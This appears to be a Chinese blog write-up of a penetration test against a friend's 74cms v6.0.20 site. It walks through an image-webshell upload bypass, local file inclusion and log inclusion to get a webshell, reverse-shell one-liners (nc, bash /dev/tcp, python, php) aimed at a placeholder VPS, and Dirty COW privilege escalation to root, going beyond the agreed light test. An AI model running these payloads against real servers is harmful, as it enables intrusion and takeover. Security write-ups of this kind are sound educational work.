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前言

在 某 一 天 下 班 回 去 的 路 途 中  

，一个多年没联系的发小突然微信给我发了消息。简单聊了几句，

他先是问我现在在做什么，我说我在艾欧尼亚当 A D C呢。。开个玩笑

，然后就和他说在做网络安全方面，然后得知他居然做起了网管。

这不是巧了嘛。后来找时间聚了一下，经过一瓶酒一顿饭，大家聊

熟了以后，他提出了由我来帮他简单测一下他所负责的网站，只需

点到为止即可，事成之后由他来请客。呵呵，笑，我像是这种会被

一顿饭所勾引的人吗，本着大丈夫不为小利所动的精神，我义正言

辞的答应了他！！
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经过

拿到网站地址之后就直接打开了，好家伙，这页面一看就像是一个

通用的 C M S，就是一种建站模板，像这种很容易找到通用型的漏洞。

首先，判断网站 c m s最简单的方式就是按住滚轮往下滑，滑到网站最

下方，在版权信息处可以看到网站是什么类型的 c m s。其次可以看网

站的 r o b o t s . t x t文件，这个文件是针对网络爬虫的，但是大部分时

候可以通过该文件判断出 c m s类型。有的网站是没有 r o b o t s . t x t文

件，而且也把版权信息修改了，这时候可以查看网页源码，来寻找 c

m s的信息。最后就是各种脚本插件扫描器了，大家无法手动判断时

候用用还是很舒服的。

但是我就不一样了，以上方法我一个都没用就判断出来了，甚至无

需打开网站。想学吗？我教你啊。那就是直接问管理员：你们现在

网站用的什么 c m s，什么版本？



然后就毫无难度的得到了本次测试的关键信息：骑士 c m s V 6 . 0 . 2 0版

本。提到这个想起了之前不久在先知上看到了 p a n d a师傅写的一篇关

于 7 4 c m s远程命令执行的文章。 p a n d a师傅的复现的时候先在网站注

册了一个账号，然后完善了简历，然后上传一个照片作品，上传的

照片就是我们的图片马，这里师傅强调了图片马中要包含骑士 c m s模

板文件的标签，师傅给的图片马的格式是这样的。

<?php phpinfo();?>

<qscms:company_show 列表名="info" 企业id="$_GET['id']"/>

然后师傅还说骑士 c m s对上传有过滤，需要绕过一下，后来我测试的

时 候 只 需 要 使 用 c o p y  1 . p n g  + 1 . t x t  

2 . p n g做一个图片马就可以绕过检测，绕过之后包含我们上传的图片

马就可以看到 p h p i n f o的界面了。

h ttp://192.168.159.208/index.php?m=home&a=assign_resume_tpl

POST:

variable=1&tpl=../../../../var/www/html/data/upload/resume_img/2

011/13/5fae95e469e05.jpg

但是在实际测试的时候可能会遇到一些问题，于是我先是在本地搭

了个环境复现了一下这个漏洞。

首先我们按照 p a n d a师傅的方法在本地复现一下：



通过照片作品上传之后保存的路径是当前路径下的 d a t a / u p l o a d / r

e s u m e _ i m g / 2 0 1 1 / 2 5 / 5 f b e 2 c 0 0 7 1 d b 3 . p n g 目 录 ， 2 0 1 1 / 2 5 是 2 0

年 1 1月 2 5日的意思，后面是一个随机的文件名，为了方便，我们省

去了注册上传的步骤，我们直接在该目录下放一个图片马，在测试

的时候图片马是不拦截的，做图片马的时候要先试一下图片马能不

能用 (做完图片马将图片马的后缀改成 p h p访问一下能不能正常解析 )

,在做图片马的时候也绕了一点弯路，因为 7 4 c m s会校验图片的完整

性，如果把图片删除一般写进去木马会上传不上去，也尝试了用 j p g

的图片和 p n g的图片做图片马但是一直没有包含成功，后来使用 g i f

的图片做了一个图片马，修改后缀能够解析。

刚搭建的网站可能没有这三个文件夹，我新建了一下文件夹，然后

将图片马传了上去。我们先包含一下图片试试。



可以成功包含，获取 p h p i n f o页面。然后我们在真实环境中测试，

可以看到我们的图片马可以正常上传。

但是接下来的操作却失败了，真是尴尬。



应该是图片处于待审核状态，没有真正上传上去，这个就很难受了

。但是山重水复疑无路，柳暗花明又一村，在一位朋友的提醒下，

突然想到了其实可以通过包含日志来获取权限。话不多说，直接本

地开始实验。如果我们访问页面报错，默认情况下会在网站的 . / d a t

a / R u n t i m e / l o g s / H o m e目录下生成一个当前日期的日志，日志格式

为年数的后两位下划线，然后月日。

知道我们执行的错误的语句会记录到这里，我们先用个报错写进去

个木马文件。



这样几乎就是写进去了，我们可以去日志中看一下。

木马已经写进日志中了，这里可以看到木马文件和先知的师傅不一

样，这样也是可以执行的，写进去之后我们先包含一下试试。

可以成功执行命令了，使用同样的方法，我们在实际场景中测试一

下，先往日志中写个木马，然后包含访问一下，也是可以成功执行



命令的。这里提示一下，包含日志的话不需要绝对路径，使用相对

路径就完全 O K。

然后我们连接一下木马，这里连接木马也和连接普通的文件上传不

一样， u r l就是我们正常访问的 u r l，密码也是木马的密码。



然后我们还需要再做一步，在请求信息中先添加一个 b o d y ,然后在 b

o d y中添加我们请求体中的内容



然后就可以连上木马了，成功拿到了 w e b s h e l l。

之后直接在真实环境中按照以上方法进行实践，没有遇到什么大问

题，很轻松的就拿到了目标站的 w e b s h e l l。这就完了吗？那必然不



行 ， 我 们 要 进 一 步 的 利 用 ， w e b s h e l l  

虽 然 赋 予 我 执 行 命 令 、 管 理 文 件 的 能 力 ， 但 毕 竟 不 是 真 正 的  

s h e l l，无法执行交互式命令、无法控制进程状态、无法补全命令等

等 ， 非 常 不 利 于 提 权 操 作 ， 所 以 ， 必 须 反 弹  

s h e l l。在目标上执行反弹命令：

V P S监听：

然后就去泡杯茶等待接下来的操作，结果等到茶凉了都没见到 s h e l l

回来，看来是失败了！其实导致反弹 s h e l l失败的因素有很多，如：

反弹命令不存在，限定端口，禁止出口流量等等。。

先验证下有哪些反弹命令可以使用，一般常用的有 n c、 b a s h、 p y t h

o n、 e x e c等等。

用 n c反弹命令如下：

nc <your_vps> 6666 -e /bin/sh

用 b a s h反弹命令如下：

/bin/bash -i >& /dev/tcp/<your_vps>/6666 0>&1

用 p y t h o n反弹命令如下：

python -

c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,so

cket.SOCK_STREAM);s.connect(("<your_vps>",6666));os.dup2(s.filen



o(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subproces

s.call(["/bin/sh","-i"]);'

用 P H P反弹命令如下 :

php -r '$sock=fsockopen("<your_vps>",6666);exec("/bin/sh -

i <&3 >&3 2>&3");'

然后在目标上查看相关命令是不是存在：

看来之前 b a s h命令是可以使用的。接下来验证是否是限制了端口。

某些目标限定访问外部端口，常见黑白名单两种方式。先前反弹失

败用的是 6 6 6 6，换个端口监听试试。然后目标上用 H T T P协议访问 V P

S的 1 2 3 4端口：

等待片刻， V P S并无 H T T P记录，所以怀疑采用了白名单。问了下大

佬，得知端口白名单通常只允许向外访问 H T T P服务的默认 8 0， H T T P

S服务的默认 4 4 3 ,于是 V P S监听 4 4 3 ,目标上访问 4 4 3，这时 V P S上获

得了 4 4 3端口的访问记录。之后就好办了，换成 4 4 3端口号顺利的反

弹了 s h e l l，服务端也收到了 s h e l l。这样，就得到了功能齐全的支

持命令补全、语法高亮的交互式 s h e l l。

一切就绪，正式进入提权操作。提权的手法其实也有很多，比如，

用 内 核 栈 溢 出 提 权 、 搜 寻 配 置 文 件 中 的 明 文 密 码 、 s u d o  



误配、 S U I D  滥用、 f i n d 提权等等。方便起见，直接上传 l i n u x -

e x p l o i t - s u g g e s t e r - 2  然后运行。

提示当前内核可能存在脏牛漏洞，然后上传本地编译好的脏牛 E X P，

执行后成功得到了 r o o t权限。



为了留下证据，于是在根目录下建立了一个 t x t，里面写上了艾欧尼

亚 A D C到此一游！！

总结

到此，任务算是完成了，整个过程其实很简单，也遇到了部分问题

，但都及时的解决了。简单回顾一下，大概经过了一下几个步骤，

首先是识别 c m s，然后寻找 c m s通用漏洞，复现遇到问题无法成功利



用，转换思路通过包含日志的方法成功获得 w e b s h e l l，为了方便后

续的提权，维权，移动，通过命令反弹 s h e l l，之后查找内核版本，

使用脏牛漏洞 e x p成功提权 r o o t，拿下该服务器。

之后让朋友在服务器上看一下。等来的却是一句年轻人不讲武德，

偷袭他十几个月的老 c m s，说好的传统功夫点到为止，好家伙，你都

给我进到服务器里面去了。

不过最后，朋友也是兑现了承诺，我来找地方他请客！嘿嘿嘿，那

我可就不客气了。
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精选留言

用户设置不下载评论 


